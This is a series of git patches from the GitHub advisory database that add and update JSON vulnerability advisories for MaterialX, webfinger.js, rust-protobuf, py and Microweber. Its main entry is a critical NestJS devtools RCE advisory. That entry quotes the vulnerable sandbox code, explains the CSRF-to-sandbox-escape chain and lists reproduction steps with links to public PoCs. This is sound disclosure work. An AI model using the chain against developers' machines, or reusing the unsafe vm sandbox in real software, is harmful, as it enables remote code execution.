"github_reviewed_at": "2025-07-31T18:31:11Z",
- "nvd_published_at": null
+ "nvd_published_at": "2025-08-01T18:15:54Z"
}
}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2025/07/GHSA-7qw8-3vmf-gj32/GHSA-7qw8-3vmf-gj32.json b/advisories/github-reviewed/2025/07/GHSA-7qw8-3vmf-gj32/GHSA-7qw8-3vmf-gj32.json
index 153ba5c2e88c9..917ae46f2a5f9 100644
--- a/advisories/github-reviewed/2025/07/GHSA-7qw8-3vmf-gj32/GHSA-7qw8-3vmf-gj32.json
+++ b/advisories/github-reviewed/2025/07/GHSA-7qw8-3vmf-gj32/GHSA-7qw8-3vmf-gj32.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-7qw8-3vmf-gj32",
- "modified": "2025-07-31T18:31:24Z",
+ "modified": "2025-08-01T18:36:10Z",
"published": "2025-07-31T18:31:23Z",
"aliases": [
"CVE-2025-53011"
@@ -43,6 +43,10 @@
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/MaterialX/security/advisories/GHSA-7qw8-3vmf-gj32"
},
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53011"
+ },
{
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/MaterialX/commit/7ac1c71de5187dc29793292b5a8dc6d784192ecf"
@@ -51,6 +55,10 @@
"type": "PACKAGE",
"url": "https://github.com/AcademySoftwareFoundation/MaterialX"
},
+ {
+ "type": "WEB",
+ "url": "https://github.com/AcademySoftwareFoundation/MaterialX/releases/tag/v1.39.3"
+ },
{
"type": "WEB",
"url": "https://github.com/ShielderSec/poc/tree/main/CVE-2025-53011"
@@ -63,6 +71,6 @@
"severity": "LOW",
"github_reviewed": true,
"github_reviewed_at": "2025-07-31T18:31:23Z",
- "nvd_published_at": null
+ "nvd_published_at": "2025-08-01T18:15:54Z"
}
}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2025/07/GHSA-8xq3-w9fx-74rv/GHSA-8xq3-w9fx-74rv.json b/advisories/github-reviewed/2025/07/GHSA-8xq3-w9fx-74rv/GHSA-8xq3-w9fx-74rv.json
index f27f885827738..6628cd9b6c863 100644
--- a/advisories/github-reviewed/2025/07/GHSA-8xq3-w9fx-74rv/GHSA-8xq3-w9fx-74rv.json
+++ b/advisories/github-reviewed/2025/07/GHSA-8xq3-w9fx-74rv/GHSA-8xq3-w9fx-74rv.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-8xq3-w9fx-74rv",
- "modified": "2025-07-31T12:02:12Z",
+ "modified": "2025-08-01T18:36:22Z",
"published": "2025-07-28T16:41:06Z",
"aliases": [
"CVE-2025-54590"
@@ -43,6 +43,10 @@
"type": "WEB",
"url": "https://github.com/silverbucket/webfinger.js/security/advisories/GHSA-8xq3-w9fx-74rv"
},
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54590"
+ },
{
"type": "WEB",
"url": "https://github.com/silverbucket/webfinger.js/commit/b5f2f2c957297d25f4d76072963fccaee2e3095a"
@@ -63,6 +67,6 @@
"severity": "MODERATE",
"github_reviewed": true,
"github_reviewed_at": "2025-07-28T16:41:06Z",
- "nvd_published_at": null
+ "nvd_published_at": "2025-08-01T18:15:55Z"
}
}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2025/07/GHSA-qc2h-74x3-4v3w/GHSA-qc2h-74x3-4v3w.json b/advisories/github-reviewed/2025/07/GHSA-qc2h-74x3-4v3w/GHSA-qc2h-74x3-4v3w.json
index 043222b5b5a19..56d56db8f30dc 100644
--- a/advisories/github-reviewed/2025/07/GHSA-qc2h-74x3-4v3w/GHSA-qc2h-74x3-4v3w.json
+++ b/advisories/github-reviewed/2025/07/GHSA-qc2h-74x3-4v3w/GHSA-qc2h-74x3-4v3w.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-qc2h-74x3-4v3w",
- "modified": "2025-07-31T19:37:51Z",
+ "modified": "2025-08-01T18:36:16Z",
"published": "2025-07-31T19:37:51Z",
"aliases": [
"CVE-2025-53012"
@@ -43,6 +43,14 @@
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/MaterialX/security/advisories/GHSA-qc2h-74x3-4v3w"
},
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53012"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/AcademySoftwareFoundation/MaterialX/pull/2233/commits/6182c07467297416a30d148ab531d81198686dc5"
+ },
{
"type": "PACKAGE",
"url": "https://github.com/AcademySoftwareFoundation/MaterialX"
@@ -50,6 +58,10 @@
{
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/MaterialX/blob/main/documents/Specification/MaterialX.Specification.md#mtlx-file-format-definition"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/AcademySoftwareFoundation/MaterialX/releases/tag/v1.39.3"
}
],
"database_specific": {
@@ -59,6 +71,6 @@
"severity": "MODERATE",
"github_reviewed": true,
"github_reviewed_at": "2025-07-31T19:37:51Z",
- "nvd_published_at": null
+ "nvd_published_at": "2025-08-01T18:15:54Z"
}
}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2025/07/GHSA-wx6g-fm6f-w822/GHSA-wx6g-fm6f-w822.json b/advisories/github-reviewed/2025/07/GHSA-wx6g-fm6f-w822/GHSA-wx6g-fm6f-w822.json
index 44403b34e31c5..d7a724589066d 100644
--- a/advisories/github-reviewed/2025/07/GHSA-wx6g-fm6f-w822/GHSA-wx6g-fm6f-w822.json
+++ b/advisories/github-reviewed/2025/07/GHSA-wx6g-fm6f-w822/GHSA-wx6g-fm6f-w822.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-wx6g-fm6f-w822",
- "modified": "2025-08-01T15:59:21Z",
+ "modified": "2025-08-01T18:35:57Z",
"published": "2025-07-31T19:37:48Z",
"aliases": [
"CVE-2025-53009"
@@ -43,10 +43,26 @@
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/MaterialX/security/advisories/GHSA-wx6g-fm6f-w822"
},
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53009"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/AcademySoftwareFoundation/MaterialX/issues/2504"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/AcademySoftwareFoundation/MaterialX/pull/2505"
+ },
{
"type": "PACKAGE",
"url": "https://github.com/AcademySoftwareFoundation/MaterialX"
},
+ {
+ "type": "WEB",
+ "url": "https://github.com/AcademySoftwareFoundation/MaterialX/releases/tag/v1.39.3"
+ },
{
"type": "WEB",
"url": "https://github.com/ShielderSec/poc/tree/main/CVE-2025-53009"
@@ -59,6 +75,6 @@
"severity": "MODERATE",
"github_reviewed": true,
"github_reviewed_at": "2025-07-31T19:37:48Z",
- "nvd_published_at": null
+ "nvd_published_at": "2025-08-01T18:15:54Z"
}
}
\ No newline at end of file
From 03c064159e3ad44f2dbef216b3a3432db8968ae8 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Fri, 1 Aug 2025 18:45:25 +0000
Subject: [PATCH 301/323] Publish GHSA-85cg-cmq5-qjm7
---
.../GHSA-85cg-cmq5-qjm7.json | 74 +++++++++++++++++++
1 file changed, 74 insertions(+)
create mode 100644 advisories/github-reviewed/2025/08/GHSA-85cg-cmq5-qjm7/GHSA-85cg-cmq5-qjm7.json
diff --git a/advisories/github-reviewed/2025/08/GHSA-85cg-cmq5-qjm7/GHSA-85cg-cmq5-qjm7.json b/advisories/github-reviewed/2025/08/GHSA-85cg-cmq5-qjm7/GHSA-85cg-cmq5-qjm7.json
new file mode 100644
index 0000000000000..cea128b2e7f76
--- /dev/null
+++ b/advisories/github-reviewed/2025/08/GHSA-85cg-cmq5-qjm7/GHSA-85cg-cmq5-qjm7.json
@@ -0,0 +1,74 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-85cg-cmq5-qjm7",
+ "modified": "2025-08-01T18:43:13Z",
+ "published": "2025-08-01T18:43:13Z",
+ "aliases": [
+ "CVE-2025-54782"
+ ],
+ "summary": "@nestjs/devtools-integration: CSRF to Sandbox Escape Allows for RCE against JS Developers",
+ "details": "## Summary\nA critical Remote Code Execution (RCE) vulnerability was discovered in the `@nestjs/devtools-integration` package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (`safe-eval`-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine.\n\nA full blog post about how this vulnerability was uncovered can be found on [Socket's blog](https://socket.dev/blog/nestjs-rce-vuln).\n\n## Details\nThe `@nestjs/devtools-integration` package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, `/inspector/graph/interact`, accepts JSON input containing a `code` field and executes the provided code in a Node.js `vm.runInNewContext` sandbox.\n\nKey issues:\n1. **Unsafe Sandbox:** The sandbox implementation closely resembles the abandoned `safe-eval` library. The Node.js `vm` module is [explicitly documented](https://nodejs.org/api/vm.html) as not providing a security mechanism for executing untrusted code. Numerous known sandbox escape techniques allow arbitrary code execution.\n2. **Lack of Proper CORS/Origin Checking:** The server sets `Access-Control-Allow-Origin` to a fixed domain (`https://devtools.nestjs.com`) but does not validate the request's `Origin` or `Content-Type`. Attackers can craft POST requests with `text/plain` content type using HTML forms or simple XHR requests, bypassing CORS preflight checks.\n\nBy chaining these issues, a malicious website can trigger the vulnerable endpoint and achieve arbitrary code execution on a developer's machine running the NestJS devtools integration.\n\nRelevant code from the package:\n\n```js\n// Vulnerable request handler\nhandleGraphInteraction(req, res) {\n if (req.method === 'POST') {\n let body = '';\n req.on('data', data => { body += data; });\n req.on('end', async () => {\n res.writeHead(200, { 'Content-Type': 'application/plain' });\n const json = JSON.parse(body);\n await this.sandboxedCodeExecutor.execute(json.code, res);\n });\n }\n}\n\n// Vulnerable sandbox implementation\nrunInNewContext(code, context, opts) {\n const sandbox = {};\n const resultKey = 'SAFE_EVAL_' + Math.floor(Math.random() * 1000000);\n sandbox[resultKey] = {};\n const ctx = `\n (function() {\n Function = undefined;\n const keys = Object.getOwnPropertyNames(this).concat(['constructor']);\n keys.forEach((key) => {\n const item = this[key];\n if (!item || typeof item.constructor !== 'function') return;\n this[key].constructor = undefined;\n });\n })();\n `;\n code = ctx + resultKey + '=' + code;\n if (context) {\n Object.keys(context).forEach(key => { sandbox[key] = context[key]; });\n }\n vm.runInNewContext(code, sandbox, opts);\n return sandbox[resultKey];\n}\n```\n\nBecause the sandbox can be trivially escaped, and the endpoint accepts cross-origin POST requests without proper checks, this vulnerability allows arbitrary code execution on the developer's machine.\n\n## PoC\nCreate a minimal NestJS project and enable @nestjs/devtools-integration in development mode:\n\n```\nnpm install @nestjs/devtools-integration\nnpm run start:dev\n```\n\nUse the following HTML form on any malicious website:\n\n\n```html\n\n```\n\nWhen the developer visits the page and submits the form, the local NestJS devtools server executes the injected code, in this case launching the Calculator app on macOS.\n\nAlternatively, the same payload can be sent via a simple XHR request with text/plain content type:\n\n```html\nSend pop calculator XHR Request \n\n```\n\n### Full POC\n\nMinimal reproducer: https://github.com/JLLeitschuh/nestjs-typescript-starter-w-devtools-integration\n\nSteps to reproduce:\n\n1. Clone Repo https://github.com/JLLeitschuh/nestjs-typescript-starter-w-devtools-integration\n2. Run NPM install\n3. Run `npm run start:dev`\n4. Open up the POC site here: https://jlleitschuh.org/nestjs-devtools-integration-rce-poc/\n5. Try out any of the POC payloads.\n\nSource for the `nestjs-devtools-integration-rce-poc`: https://github.com/JLLeitschuh/nestjs-devtools-integration-rce-poc\n\n## Impact\n\nThis vulnerability is a Remote Code Execution (RCE) affecting developers running a NestJS project with `@nestjs/devtools-integration` enabled. An attacker can exploit it by luring a developer to visit a malicious website, which then sends a crafted POST request to the local devtools HTTP server. This results in arbitrary code execution on the developer’s machine.\n\n- Severity: Critical\n- Attack Complexity: Low (requires only that the victim visits a malicious webpage, or be served malvertising)\n- Privileges Required: None\n- User Interaction: Minimal (no clicks required)\n\n## Fix\nThe maintainers remediated this issue by:\n\n - Replacing the unsafe sandbox implementation with a safer alternative (@nyariv/sandboxjs).\n - Adding origin and content-type validation to incoming requests.\n - Introducing authentication for the devtools connection.\n\nUsers should upgrade to the patched version of @nestjs/devtools-integration as soon as possible.\n\n## Credit\n\nThis vulnerability was uncovered by @JLLeitschuh on behalf of [Socket](https://socket.dev/).",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "npm",
+ "name": "@nestjs/devtools-integration"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "0.2.1"
+ }
+ ]
+ }
+ ],
+ "database_specific": {
+ "last_known_affected_version_range": "<= 0.2.0"
+ }
+ }
+ ],
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/nestjs/nest/security/advisories/GHSA-85cg-cmq5-qjm7"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/JLLeitschuh/nestjs-typescript-starter-w-devtools-integration"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/nestjs/nest"
+ },
+ {
+ "type": "WEB",
+ "url": "https://jlleitschuh.org/nestjs-devtools-integration-rce-poc"
+ },
+ {
+ "type": "WEB",
+ "url": "https://socket.dev/blog/nestjs-rce-vuln"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-352",
+ "CWE-77",
+ "CWE-78"
+ ],
+ "severity": "CRITICAL",
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-08-01T18:43:13Z",
+ "nvd_published_at": null
+ }
+}
\ No newline at end of file
From 558090ebe4e3204e03c96beb64610712d1c39c58 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Fri, 1 Aug 2025 19:19:20 +0000
Subject: [PATCH 302/323] Publish GHSA-rxf6-323f-44fc
---
.../07/GHSA-rxf6-323f-44fc/GHSA-rxf6-323f-44fc.json | 11 +++++------
1 file changed, 5 insertions(+), 6 deletions(-)
diff --git a/advisories/github-reviewed/2025/07/GHSA-rxf6-323f-44fc/GHSA-rxf6-323f-44fc.json b/advisories/github-reviewed/2025/07/GHSA-rxf6-323f-44fc/GHSA-rxf6-323f-44fc.json
index c58a37af05569..629b14689a381 100644
--- a/advisories/github-reviewed/2025/07/GHSA-rxf6-323f-44fc/GHSA-rxf6-323f-44fc.json
+++ b/advisories/github-reviewed/2025/07/GHSA-rxf6-323f-44fc/GHSA-rxf6-323f-44fc.json
@@ -1,13 +1,12 @@
{
"schema_version": "1.4.0",
"id": "GHSA-rxf6-323f-44fc",
- "modified": "2025-07-07T21:59:34Z",
+ "modified": "2025-08-01T19:17:10Z",
"published": "2025-07-05T03:30:23Z",
- "aliases": [
- "CVE-2025-53605"
- ],
- "summary": "rust-protobuf crate is vulnerable to Uncontrolled Recursion, potentially leading to DoS",
- "details": "The protobuf crate before 3.7.2 for Rust allows uncontrolled recursion in the protobuf::coded_input_stream::CodedInputStream::skip_group parsing of unknown fields in untrusted input.",
+ "withdrawn": "2025-08-01T19:17:10Z",
+ "aliases": [],
+ "summary": "Duplicate Advisory: rust-protobuf crate is vulnerable to Uncontrolled Recursion, potentially leading to DoS",
+ "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-2gh3-rmm4-6rq5. This link is maintained to preserve external references.\n\n###\nThe protobuf crate before 3.7.2 for Rust allows uncontrolled recursion in the protobuf::coded_input_stream::CodedInputStream::skip_group parsing of unknown fields in untrusted input.",
"severity": [
{
"type": "CVSS_V3",
From d49675f4fa3ac9a3e5673c916e0a722b60a860a4 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Fri, 1 Aug 2025 19:22:34 +0000
Subject: [PATCH 303/323] Publish GHSA-2gh3-rmm4-6rq5
---
.../03/GHSA-2gh3-rmm4-6rq5/GHSA-2gh3-rmm4-6rq5.json | 10 ++++++++--
1 file changed, 8 insertions(+), 2 deletions(-)
diff --git a/advisories/github-reviewed/2025/03/GHSA-2gh3-rmm4-6rq5/GHSA-2gh3-rmm4-6rq5.json b/advisories/github-reviewed/2025/03/GHSA-2gh3-rmm4-6rq5/GHSA-2gh3-rmm4-6rq5.json
index 36fb97ad93923..4de56065f4929 100644
--- a/advisories/github-reviewed/2025/03/GHSA-2gh3-rmm4-6rq5/GHSA-2gh3-rmm4-6rq5.json
+++ b/advisories/github-reviewed/2025/03/GHSA-2gh3-rmm4-6rq5/GHSA-2gh3-rmm4-6rq5.json
@@ -1,9 +1,11 @@
{
"schema_version": "1.4.0",
"id": "GHSA-2gh3-rmm4-6rq5",
- "modified": "2025-03-11T17:08:07Z",
+ "modified": "2025-08-01T19:20:19Z",
"published": "2025-03-07T20:02:37Z",
- "aliases": [],
+ "aliases": [
+ "CVE-2025-53605"
+ ],
"summary": "Crash due to uncontrolled recursion in protobuf crate",
"details": "Affected version of this crate did not properly parse unknown fields when parsing a user-supplied input.\n\nThis allows an attacker to cause a stack overflow when parsing the message on untrusted data.",
"severity": [
@@ -34,6 +36,10 @@
}
],
"references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53605"
+ },
{
"type": "WEB",
"url": "https://github.com/stepancheg/rust-protobuf/issues/749"
From 59261b7cddedf67f370557e598ddeb501054194c Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Fri, 1 Aug 2025 20:35:59 +0000
Subject: [PATCH 304/323] Publish GHSA-w596-4wvx-j9j6
---
.../2022/10/GHSA-w596-4wvx-j9j6/GHSA-w596-4wvx-j9j6.json | 7 ++++---
1 file changed, 4 insertions(+), 3 deletions(-)
diff --git a/advisories/github-reviewed/2022/10/GHSA-w596-4wvx-j9j6/GHSA-w596-4wvx-j9j6.json b/advisories/github-reviewed/2022/10/GHSA-w596-4wvx-j9j6/GHSA-w596-4wvx-j9j6.json
index 214a373ff1cfd..3a7f7640ffdfd 100644
--- a/advisories/github-reviewed/2022/10/GHSA-w596-4wvx-j9j6/GHSA-w596-4wvx-j9j6.json
+++ b/advisories/github-reviewed/2022/10/GHSA-w596-4wvx-j9j6/GHSA-w596-4wvx-j9j6.json
@@ -1,13 +1,14 @@
{
"schema_version": "1.4.0",
"id": "GHSA-w596-4wvx-j9j6",
- "modified": "2025-05-14T19:24:41Z",
+ "modified": "2025-08-01T20:34:12Z",
"published": "2022-10-16T12:00:23Z",
+ "withdrawn": "2025-08-01T20:34:11Z",
"aliases": [
"CVE-2022-42969"
],
- "summary": "ReDoS in py library when used with subversion ",
- "details": "The py library through 1.11.0 for Python allows remote attackers to conduct a ReDoS (Regular expression Denial of Service) attack via a Subversion repository with crafted info data, because the InfoSvnCommand argument is mishandled.\n\nThe particular codepath in question is the regular expression at `py._path.svnurl.InfoSvnCommand.lspattern` and is only relevant when dealing with subversion (svn) projects. Notably the codepath is not used in the popular pytest project. The developers of the pytest package have released version `7.2.0` which removes their dependency on `py`. Users of `pytest` seeing alerts relating to this advisory may update to version `7.2.0` of `pytest` to resolve this issue. See https://github.com/pytest-dev/py/issues/287#issuecomment-1290407715 for additional context.",
+ "summary": "Withdrawn Advisory: ReDoS in py library when used with subversion ",
+ "details": "### Withdrawn Advisory\nThis advisory has been withdrawn because evidence does not suggest that CVE-2022-42969 is a valid, reproducible vulnerability. This link is maintained to preserve external references.\n\n### Original Description\nThe py library through 1.11.0 for Python allows remote attackers to conduct a ReDoS (Regular expression Denial of Service) attack via a Subversion repository with crafted info data, because the InfoSvnCommand argument is mishandled.\n\nThe particular codepath in question is the regular expression at `py._path.svnurl.InfoSvnCommand.lspattern` and is only relevant when dealing with subversion (svn) projects. Notably the codepath is not used in the popular pytest project. The developers of the pytest package have released version `7.2.0` which removes their dependency on `py`. Users of `pytest` seeing alerts relating to this advisory may update to version `7.2.0` of `pytest` to resolve this issue. See https://github.com/pytest-dev/py/issues/287#issuecomment-1290407715 for additional context.",
"severity": [
{
"type": "CVSS_V3",
From 7fe7b7865fed2166b669daee6fccec64290cf0cc Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Fri, 1 Aug 2025 21:08:01 +0000
Subject: [PATCH 305/323] Publish Advisories
GHSA-2x2j-3c2v-g3c2
GHSA-8357-fjvx-xrm8
GHSA-mvj3-hc7j-vp74
GHSA-2x2j-3c2v-g3c2
---
.../GHSA-2x2j-3c2v-g3c2.json | 69 +++++++++++++++++++
.../GHSA-8357-fjvx-xrm8.json | 33 +++++++--
.../GHSA-mvj3-hc7j-vp74.json | 33 +++++++--
.../GHSA-2x2j-3c2v-g3c2.json | 44 ------------
4 files changed, 127 insertions(+), 52 deletions(-)
create mode 100644 advisories/github-reviewed/2025/08/GHSA-2x2j-3c2v-g3c2/GHSA-2x2j-3c2v-g3c2.json
rename advisories/{unreviewed => github-reviewed}/2025/08/GHSA-8357-fjvx-xrm8/GHSA-8357-fjvx-xrm8.json (61%)
rename advisories/{unreviewed => github-reviewed}/2025/08/GHSA-mvj3-hc7j-vp74/GHSA-mvj3-hc7j-vp74.json (62%)
delete mode 100644 advisories/unreviewed/2025/08/GHSA-2x2j-3c2v-g3c2/GHSA-2x2j-3c2v-g3c2.json
diff --git a/advisories/github-reviewed/2025/08/GHSA-2x2j-3c2v-g3c2/GHSA-2x2j-3c2v-g3c2.json b/advisories/github-reviewed/2025/08/GHSA-2x2j-3c2v-g3c2/GHSA-2x2j-3c2v-g3c2.json
new file mode 100644
index 0000000000000..f7ee24d1424b0
--- /dev/null
+++ b/advisories/github-reviewed/2025/08/GHSA-2x2j-3c2v-g3c2/GHSA-2x2j-3c2v-g3c2.json
@@ -0,0 +1,69 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-2x2j-3c2v-g3c2",
+ "modified": "2025-08-01T21:06:51Z",
+ "published": "2025-08-01T18:31:18Z",
+ "aliases": [
+ "CVE-2025-51504"
+ ],
+ "summary": "Microweber XSS Vulnerability in the homepage Endpoint ",
+ "details": "Microweber CMS 2.0 is vulnerable to Cross Site Scripting (XSS) in the /projects/profile, homepage endpoint via the last name field.",
+ "severity": [
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N"
+ }
+ ],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Packagist",
+ "name": "microweber/microweber"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "2.0.0"
+ },
+ {
+ "last_affected": "2.0.19"
+ }
+ ]
+ }
+ ]
+ }
+ ],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-51504"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/microweber/microweber"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/progprnv/CVE-Reports"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/progprnv/CVE-Reports/blob/main/CVE-2025-51504"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/progprnv/CVE-Reports/blob/main/MICROWEBER%20%5BLive%20Panel%5D%20Stored%20XSS%20in%20profile%20path.md"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-08-01T21:06:51Z",
+ "nvd_published_at": "2025-08-01T17:15:52Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-8357-fjvx-xrm8/GHSA-8357-fjvx-xrm8.json b/advisories/github-reviewed/2025/08/GHSA-8357-fjvx-xrm8/GHSA-8357-fjvx-xrm8.json
similarity index 61%
rename from advisories/unreviewed/2025/08/GHSA-8357-fjvx-xrm8/GHSA-8357-fjvx-xrm8.json
rename to advisories/github-reviewed/2025/08/GHSA-8357-fjvx-xrm8/GHSA-8357-fjvx-xrm8.json
index 2434332e9361a..d281df5f3176a 100644
--- a/advisories/unreviewed/2025/08/GHSA-8357-fjvx-xrm8/GHSA-8357-fjvx-xrm8.json
+++ b/advisories/github-reviewed/2025/08/GHSA-8357-fjvx-xrm8/GHSA-8357-fjvx-xrm8.json
@@ -1,11 +1,12 @@
{
"schema_version": "1.4.0",
"id": "GHSA-8357-fjvx-xrm8",
- "modified": "2025-08-01T18:31:18Z",
+ "modified": "2025-08-01T21:06:23Z",
"published": "2025-08-01T18:31:18Z",
"aliases": [
"CVE-2025-51501"
],
+ "summary": "Microweber has Reflected XSS Vulnerability in the id Parameter",
"details": "Reflected Cross-Site Scripting (XSS) in the id parameter of the live_edit.module_settings API endpoint in Microweber CMS2.0 allows execution of arbitrary JavaScript.",
"severity": [
{
@@ -13,12 +14,36 @@
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
}
],
- "affected": [],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Packagist",
+ "name": "microweber/microweber"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "2.0.0"
+ },
+ {
+ "last_affected": "2.0.19"
+ }
+ ]
+ }
+ ]
+ }
+ ],
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-51501"
},
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/microweber/microweber"
+ },
{
"type": "WEB",
"url": "https://github.com/progprnv/CVE-Reports"
@@ -37,8 +62,8 @@
"CWE-79"
],
"severity": "MODERATE",
- "github_reviewed": false,
- "github_reviewed_at": null,
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-08-01T21:06:23Z",
"nvd_published_at": "2025-08-01T17:15:52Z"
}
}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-mvj3-hc7j-vp74/GHSA-mvj3-hc7j-vp74.json b/advisories/github-reviewed/2025/08/GHSA-mvj3-hc7j-vp74/GHSA-mvj3-hc7j-vp74.json
similarity index 62%
rename from advisories/unreviewed/2025/08/GHSA-mvj3-hc7j-vp74/GHSA-mvj3-hc7j-vp74.json
rename to advisories/github-reviewed/2025/08/GHSA-mvj3-hc7j-vp74/GHSA-mvj3-hc7j-vp74.json
index 21440848ba900..b29353dc48f30 100644
--- a/advisories/unreviewed/2025/08/GHSA-mvj3-hc7j-vp74/GHSA-mvj3-hc7j-vp74.json
+++ b/advisories/github-reviewed/2025/08/GHSA-mvj3-hc7j-vp74/GHSA-mvj3-hc7j-vp74.json
@@ -1,11 +1,12 @@
{
"schema_version": "1.4.0",
"id": "GHSA-mvj3-hc7j-vp74",
- "modified": "2025-08-01T18:31:18Z",
+ "modified": "2025-08-01T21:06:43Z",
"published": "2025-08-01T18:31:18Z",
"aliases": [
"CVE-2025-51502"
],
+ "summary": "Microweber has Reflected XSS Vulnerability in the layout Parameter",
"details": "Reflected Cross-Site Scripting (XSS) in Microweber CMS 2.0 via the layout parameter on the /admin/page/create page allows arbitrary JavaScript execution in the context of authenticated admin users.",
"severity": [
{
@@ -13,12 +14,36 @@
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
}
],
- "affected": [],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Packagist",
+ "name": "microweber/microweber"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "2.0.0"
+ },
+ {
+ "last_affected": "2.0.19"
+ }
+ ]
+ }
+ ]
+ }
+ ],
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-51502"
},
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/microweber/microweber"
+ },
{
"type": "WEB",
"url": "https://github.com/progprnv/CVE-Reports"
@@ -37,8 +62,8 @@
"CWE-79"
],
"severity": "MODERATE",
- "github_reviewed": false,
- "github_reviewed_at": null,
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-08-01T21:06:43Z",
"nvd_published_at": "2025-08-01T17:15:52Z"
}
}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-2x2j-3c2v-g3c2/GHSA-2x2j-3c2v-g3c2.json b/advisories/unreviewed/2025/08/GHSA-2x2j-3c2v-g3c2/GHSA-2x2j-3c2v-g3c2.json
deleted file mode 100644
index c94437cbf4848..0000000000000
--- a/advisories/unreviewed/2025/08/GHSA-2x2j-3c2v-g3c2/GHSA-2x2j-3c2v-g3c2.json
+++ /dev/null
@@ -1,44 +0,0 @@
-{
- "schema_version": "1.4.0",
- "id": "GHSA-2x2j-3c2v-g3c2",
- "modified": "2025-08-01T18:31:18Z",
- "published": "2025-08-01T18:31:18Z",
- "aliases": [
- "CVE-2025-51504"
- ],
- "details": "Microweber CMS 2.0 is vulnerable to Cross Site Scripting (XSS)in the /projects/profile, homepage endpoint via the last name field.",
- "severity": [
- {
- "type": "CVSS_V3",
